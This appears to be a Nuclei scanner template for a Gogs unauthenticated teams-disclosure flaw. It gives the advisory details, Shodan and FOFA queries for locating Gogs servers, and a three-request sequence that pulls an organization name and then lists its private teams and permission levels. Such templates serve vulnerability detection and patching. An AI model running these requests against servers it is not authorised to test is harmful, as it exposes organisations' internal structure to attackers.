Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure

id: CVE-2026-52815

info:
  name: Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure
  author: 0x_Akoko
  severity: low
  description: |
    Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.
  impact: |
    An unauthenticated attacker can enumerate all teams within any organization including private teams, discover permission levels, map organizational structure, and identify high-value admin and owner teams for targeted attacks.
  remediation: |
   Update Gogs to version 0.14.3 or later.
  reference:
    - https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52815
  classification:
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
    cvss-score: 4.3
    cve-id: CVE-2026-52815
    epss-score: 0.01553
    epss-percentile: 0.72039
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 3
    vendor: gogs
    product: gogs
    shodan-query: 'http.title:"Gogs"'
    fofa-query: title="Gogs"
  tags: cve,cve2026,gogs,exposure,unauth

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/repos/search?limit=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: orgname
        part: body
        group: 1
        regex:
          - '"username"\s*:\s*"([^"]+)"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/orgs/{{orgname}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"username\"", "\"full_name\"")'
        internal: true
        condition: and

  - raw:
      - |
        GET /api/v1/orgs/{{orgname}}/teams HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"id\"", "\"name\"", "\"permission\"")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4a0a0047304502210081aee1c9906117f46ddc5f8f207397dd516be1cae2377126105ee25460c18af202201865c5099b32e2fb948d18a3256e498f3c052e03c2afa32a07e9244c1620a3ee:922c64590222798bb761d5b6d8e72950